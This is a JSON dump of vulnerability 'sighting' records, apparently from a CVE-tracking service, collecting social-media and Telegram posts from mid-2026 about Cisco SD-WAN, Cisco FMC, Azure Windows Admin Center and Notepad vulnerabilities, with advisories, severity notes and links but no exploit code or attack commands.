{"uuid": "ad9f2b71-716e-40bd-aa52-9ab6d96c346f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20267", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtvtwoam7x2r", "content": "\ud83d\udd17 CVE : CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273", "creation_timestamp": "2026-08-25T12:45:13.079103Z"}, {"uuid": "075b8160-dbf2-4b8a-be2e-571f5d09ea0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20268", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtvtwoam7x2r", "content": "\ud83d\udd17 CVE : CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273", "creation_timestamp": "2026-08-25T12:45:13.136723Z"}, {"uuid": "ed8f864c-793e-4536-99b2-dd8ed482cd66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20269", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtvtwoam7x2r", "content": "\ud83d\udd17 CVE : CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273", "creation_timestamp": "2026-08-25T12:45:13.183214Z"}, {"uuid": "aae3a8f4-811a-4df1-a118-00188f282967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20270", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtvtwoam7x2r", "content": "\ud83d\udd17 CVE : CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273", "creation_timestamp": "2026-08-25T12:45:13.231432Z"}, {"uuid": "c70a0b62-7cc1-4747-9ca5-87d192b9591e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20271", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtvtwoam7x2r", "content": "\ud83d\udd17 CVE : CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273", "creation_timestamp": "2026-08-25T12:45:13.268981Z"}, {"uuid": "7ece667c-378c-496c-adf8-b965a697ecc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20272", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtvtwoam7x2r", "content": "\ud83d\udd17 CVE : CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273", "creation_timestamp": "2026-08-25T12:45:13.311610Z"}, {"uuid": "ce66ca0f-360d-4c67-b7a8-5ce1c4473bf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20273", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtvtwoam7x2r", "content": "\ud83d\udd17 CVE : CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273", "creation_timestamp": "2026-08-25T12:45:13.346049Z"}, {"uuid": "20cbfe2c-b956-4828-810d-86fb330cedaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mrr5ifhvt62g", "content": "Daily IT Security Digest \u2014 2026-07-29\nCVE-2026-20262 is a critical zero-day in Cisco Catalyst SD-WAN Manager where attackers with write access can escalate to root via crafted HTTP requests. CISA has not yet added it to the KEV catalog but patches and access control reviews are urgent. [Source:", "creation_timestamp": "2026-07-29T05:02:29.566805Z"}, {"uuid": "e8a2d47f-6abb-452a-b5a2-b104eb3f16b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://t.me/reverseame/5607", "content": "CVE-2026-20965:\u00a0Cymulate\u00a0Research Labs\u00a0Discovers\u00a0Token Validation Flaw\u00a0that Leads to\u00a0Tenant-Wide RCE in Azure Windows Admin\u00a0Center #CVE202620965 #AzureWAC #TenantRCE #CymulateResearch #TokenValidation https://cymulate.com/blog/cve-2026-20965-azure-windows-admin-center-tenant-wide-rce/", "creation_timestamp": "2026-07-29T08:01:20.795296Z"}, {"uuid": "3e33f1ef-5157-44e6-818c-2f635001a173", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/hn_best_comments/28918", "content": "Re: Windows 11 Notepad to support Markdown\n\nI believe Markdown support is what led to CVE-2026-20841 earlier this month.\n\n20260211 https://news.ycombinator.com/item?id=46971516 Windows Notepad App Remote Code Execution Vulnerability (804 points, 516 comments)\n\n20260210 https://msrc.microsoft.com/update-guide/vulnerability/CVE-20...\n\n> \"An attacker could trick a user into clicking a malicious link inside a Markdown file opened in Notepad\"\n\nOther recent Notepad issues:\n\n20260207 https://news.ycombinator.com/item?id=46927098 Microsoft account bugs locked me out of Notepad \u2013 Are thin clients ruining PCs? (187 points, 284 comments)\n\n20260127 https://news.ycombinator.com/item?id=46780451 Windows 11 January Update Breaks Notepad (60 points, 25 comments)\n\npassword4321, 6 hours ago", "creation_timestamp": "2026-07-29T12:01:06.530460Z"}, {"uuid": "c4ae2fe3-dac2-4841-b764-8ddac0960b17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://t.me/sysadm_in_up/2529", "content": "https://github.com/oxfemale/CVE-2026-20817", "creation_timestamp": "2026-07-29T12:03:14.289019Z"}, {"uuid": "bfc70bda-350d-4337-8741-ea8196392d5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/codeby_sec/10321", "content": "29 \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u2014 \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0436\u0438\u0432\u0451\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 CVE\n\n\u041d\u0435 \u0434\u043d\u0435\u0439, \u043d\u0435 \u043d\u0435\u0434\u0435\u043b\u044c \u2014 \u043c\u0435\u0441\u044f\u0446\u0435\u0432. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c IBM X-Force Threat Intelligence Index 2025, \u043c\u0435\u0436\u0434\u0443 \u043c\u043e\u043c\u0435\u043d\u0442\u043e\u043c, \u043a\u043e\u0433\u0434\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043d\u043e\u043c\u0435\u0440 CVE, \u0438 \u043c\u043e\u043c\u0435\u043d\u0442\u043e\u043c, \u043a\u043e\u0433\u0434\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0435\u0451 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c 29 \u043c\u0435\u0441\u044f\u0446\u0435\u0432. \u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u0440\u0430\u0432\u043d\u0438\u0442\u0435: \u0432\u0440\u0435\u043c\u044f, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u0435\u0436\u0443\u044e CVE (\u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0439 n-day), \u0441\u0436\u0430\u043b\u043e\u0441\u044c \u0434\u043e 5 \u0434\u043d\u0435\u0439. \u0412 2018\u20132019 \u0431\u044b\u043b\u043e \u043e\u043a\u043e\u043b\u043e 32. \u0427\u0443\u0432\u0441\u0442\u0432\u0443\u0435\u0442\u0435 \u0440\u0430\u0437\u0440\u044b\u0432?\n\n\u2757\ufe0fGoogle Threat Intelligence Group \u043d\u0430\u0441\u0447\u0438\u0442\u0430\u043b\u0430 75 zero-day \u0437\u0430 2024 \u0433\u043e\u0434, \u0438 44% \u0430\u0442\u0430\u043a \u043f\u0440\u0438\u0448\u043b\u0438\u0441\u044c \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u2014 \u0440\u0435\u043a\u043e\u0440\u0434\u043d\u0430\u044f \u0434\u043e\u043b\u044f. SD-WAN \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b, \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0435\u0442\u0435\u0432\u043e\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0432\u0441\u0451, \u0447\u0442\u043e \u0442\u043e\u0440\u0447\u0438\u0442 \u043d\u0430\u0440\u0443\u0436\u0443 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439.\n\n\u0420\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u043d\u0430 \u0434\u0432\u0443\u0445 \u0441\u0432\u0435\u0436\u0438\u0445 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u0445, \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435.\n\n\ud83c\udf87CVE-2026-20127 \u2014 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Cisco Catalyst SD-WAN. CVSS 10.0 \u0438\u0437 10. \u0410\u0442\u0430\u043a\u0430 \u043f\u043e \u0441\u0435\u0442\u0438, \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f, \u0431\u0435\u0437 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0432\u0441\u0435\u0439 SD-WAN-\u0441\u0435\u0442\u0438. \u0414\u0430\u043b\u044c\u0448\u0435 \u2014 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u0442\u0440\u0430\u0444\u0438\u043a\u0430, lateral movement, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 rogue peers \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f. EPSS \u2014 0.88, \u044d\u0442\u043e \u0442\u043e\u043f-1% \u0441\u0440\u0435\u0434\u0438 \u0432\u0441\u0435\u0445 CVE \u043f\u043e \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0439 \u043c\u0435\u0441\u044f\u0446.\n\n\ud83d\udd11CVE-2026-22769 \u2014 \u0432\u0448\u0438\u0442\u044b\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 Dell RecoverPoint for Virtual Machines. \u041a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 \u0436\u0430\u043d\u0440\u0430: hardcoded credentials, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u044e\u0442 root-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u041e\u0421. \u041d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439, \u0437\u043d\u0430\u044e\u0449\u0438\u0439 \u044d\u0442\u0438 \u043a\u0440\u0435\u0434\u044b, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u041e\u0431\u0430 \u043a\u0435\u0439\u0441\u0430 \u2014 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 CISA KEV, \u043e\u0431\u0430 \u0441 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c SSVC: Act, \u0442\u043e \u0435\u0441\u0442\u044c \u00ab\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u00bb.\n\n\u0427\u0442\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u0442 \u044d\u0442\u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u044b? \u0416\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b zero-day \u2014 \u043d\u0435 \u043b\u0438\u043d\u0435\u0439\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u00ab\u043d\u0430\u0448\u043b\u0438 \u2192 \u043f\u043e\u0447\u0438\u043d\u0438\u043b\u0438\u00bb. \u042d\u0442\u043e \u0448\u0435\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432, \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0440\u0430\u0437\u043d\u044b\u0435 \u043b\u044e\u0434\u0438 \u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u043d\u044b\u0435 \u043e\u043a\u043d\u0430 \u0440\u0438\u0441\u043a\u0430:\n\n\u2022 \u0412\u043d\u0435\u0441\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u2014 \u0431\u0430\u0433 \u0440\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438\n\u2022 \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u2014 \u043d\u0430\u0445\u043e\u0434\u0438\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0444\u0430\u0437\u0437\u0435\u0440 \u0438\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\n\u2022 \u0412\u043e\u043e\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u2014 \u0438\u0437 \u0431\u0430\u0433\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442 \u0431\u043e\u0435\u0432\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0441 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0435\u0439\n\u2022 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0442\u0438\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0439\n\u2022 \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438 \u043f\u0430\u0442\u0447 \u2014 \u0432\u0435\u043d\u0434\u043e\u0440 \u0443\u0437\u043d\u0430\u0451\u0442, \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\n\u2022 \u0420\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u2014 \u043f\u0430\u0442\u0447 \u0432\u044b\u043f\u0443\u0449\u0435\u043d, \u043d\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u0443\u044e\u0442, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u044b\u0432\u0430\u044e\u0442 \u043e\u043a\u043d\u0430 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u044f, \u043a\u0430\u0442\u044f\u0442 \u043a\u0430\u0441\u043a\u0430\u0434\u043d\u043e\n\n\u0418 \u0432\u043e\u0442 \u043f\u0430\u0440\u0430\u0434\u043e\u043a\u0441: \u043f\u043e\u0441\u043b\u0435 \u043f\u044f\u0442\u043e\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435 \u0438\u0441\u0447\u0435\u0437\u0430\u0435\u0442. \u041e\u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442 \u0438\u0437 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 0-day \u0432 n-day, \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f \u2014 \u0438\u043d\u043e\u0433\u0434\u0430 \u0442\u0435 \u0441\u0430\u043c\u044b\u0435 29 \u043c\u0435\u0441\u044f\u0446\u0435\u0432.\n\n\u27a1\ufe0f\u0412 \u043f\u043e\u043b\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u2014 CVSS-\u0432\u0435\u043a\u0442\u043e\u0440\u044b \u0441 \u043f\u043e\u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043d\u044b\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c, \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u043d\u0430 MITRE ATT&CK \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0447\u0435\u043a\u043b\u0438\u0441\u0442 \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\nhttps://codeby.net/threads/uyazvimost-nulevogo-dnya-zhiznennyi-tsikl-real-nyye-cve-i-protsess-patchinga.94896/", "creation_timestamp": "2026-07-29T12:03:24.056728Z"}, {"uuid": "db45cb22-e375-42a7-b7b4-33d2e437bc47", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8dc30cfa-6d78-4c95-8f53-cf5195768d7e", "content": "", "creation_timestamp": "2026-07-29T20:00:01.510748Z"}, {"uuid": "85e3e43b-7652-4b45-a1f6-6a3960a5ad99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mrsoc3g26k2u", "content": "\ud83d\uded1 CVE-2026-20316\nCisco Secure Firewall Management Center (FMC)\nCVSS 5.3 / KEV \u2705\nTL;DR: A vulnerability in the web interface of Cisco Secure Firewall Management \u2026\nhttps://cvesentinel.com/report/CVE-2026-20316?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-07-29T19:35:50.957871Z"}, {"uuid": "180c57b4-fbac-4f65-9ea5-b9fa0febcfb9", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/624fe2e1-eb6c-486c-9a64-6281cb8ff1e2", "content": "", "creation_timestamp": "2026-07-29T20:00:23.174015Z"}, {"uuid": "2aa72ec5-6b5f-45de-a6af-1c7e26a74d5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/secdb.bsky.social/post/3mrssza56l22h", "content": "\ud83d\udea8 CISA Adds One Known Exploited Vulnerability to Catalog (https://secdb.nttzen.cloud/security-advisory/detail/CISA-2026:0729)\n\n\u26a0\ufe0f CVE-2026-20316 - Cisco Secure Firewall Management Center Use of Hard-coded Password Vulnerability\n\n\n#ZEN #SecDB #InfoSec #CISA_KEV", "creation_timestamp": "2026-07-29T21:00:22.641660Z"}, {"uuid": "dfbc2010-d309-40e1-92b2-79ff4a2529a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mrsuywhuje2t", "content": "Cisco is warning that a high-severity Secure Firewall Management Center (FMC) static credential vulnerability, tracked as CVE-2026-20316, was actively exploited in zero-day attacks to gain unauthorized access to vulnerable devices.", "creation_timestamp": "2026-07-29T21:36:00.205879Z"}, {"uuid": "471707cf-f34d-4d5d-9356-968bb063cce5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mrsvhum5zm23", "content": "A Cisco FMC vulnerability, CVE-2026-20316, is exploited in the wild. Static credentials let attackers log in. CISA added it to KEV \u2014 patch now.\n\n#Cisco #CVE202620316 #FMC #KEV #Vulnerability #InfoSec", "creation_timestamp": "2026-07-29T21:44:21.808102Z"}, {"uuid": "923444b3-ed14-4539-a12d-c32a12dbba18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mrsvk6cgq22p", "content": "Cisco\u3001FMC\u306e\u9759\u7684\u8a8d\u8a3c\u60c5\u5831\u306e\u6b20\u9665\u3092\u8b66\u544a \u30bc\u30ed\u30c7\u30a4\u653b\u6483\u3067\u60aa\u7528\n\nCisco\u306f\u3001Secure Firewall Management Center(FMC)\u306b\u5b58\u5728\u3059\u308b\u9759\u7684\u8a8d\u8a3c\u60c5\u5831\u306e\u8106\u5f31\u6027(CVE-2026-20316\u3001\u6df1\u523b\u5ea6\u300c\u9ad8\u300d)\u304c\u3001\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u3067\u60aa\u7528\u3055\u308c\u3001\u8106\u5f31\u306a\u30c7\u30d0\u30a4\u30b9\u3078\u306e\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u306b\u4f7f\u308f\u308c\u3066\u3044\u305f\u3068\u8b66\u544a\u3057\u3066\u3044\u307e\u3059\u3002 \u3053\u306e\u8106\u5f31\u6027\u306f\u3001Cisco Secure FMC\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306b...", "creation_timestamp": "2026-07-29T21:45:38.954071Z"}, {"uuid": "2cf5e5cb-b478-4776-ad07-eda21a83f6f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mrsvrwct4m2j", "content": "\ud83e\udd16 CVE-2026-20316: Cisco FMC static credential flaw exploited in zero-day attacks. High-severity, actively exploited. Allows unauthorized access to Secure Firewall Management Center\u2026", "creation_timestamp": "2026-07-29T21:49:58.820742Z"}, {"uuid": "0952ae0a-9aa6-4eb3-91e5-cc891f4f9813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mrswqvfnxh2w", "content": "Cisco FMC\u306e\u9759\u7684\u8a8d\u8a3c\u60c5\u5831\u306b\u8106\u5f31\u6027(CVE-2026-20316)\u304c\u3042\u308a\u3001\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u3067\u60aa\u7528\u3055\u308c\u3001\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3092\u8a31\u3059\u3002", "creation_timestamp": "2026-07-29T22:07:17.949812Z"}, {"uuid": "abdce915-c052-4c4d-b6aa-e8a0ef6f3ee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3mrsx6fvqwh2n", "content": "Cisco confirms active exploitation of a zero-day static credential flaw (CVE-2026-20316) in Secure FMC. Even low-privilege access can expose critical network data. Your firewalls could be at risk \u2013 understand the threat and immediate\u2026\n\nhttps://www.tpp.blog/184y88n\n\n#cybersecurity #cisco #securefmc", "creation_timestamp": "2026-07-29T22:14:51.822503Z"}, {"uuid": "ed22e419-dfeb-4880-9283-45b58b4b47a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://t.me/BleepingComputer/25222", "content": "\u200aCisco warns of FMC static credential flaw exploited in zero-day attacks\n\nCisco is warning that a high-severity Secure Firewall Management Center (FMC) static credential vulnerability, tracked as CVE-2026-20316, was actively exploited in zero-day attacks to gain unauthorized access to vulnerable devices. 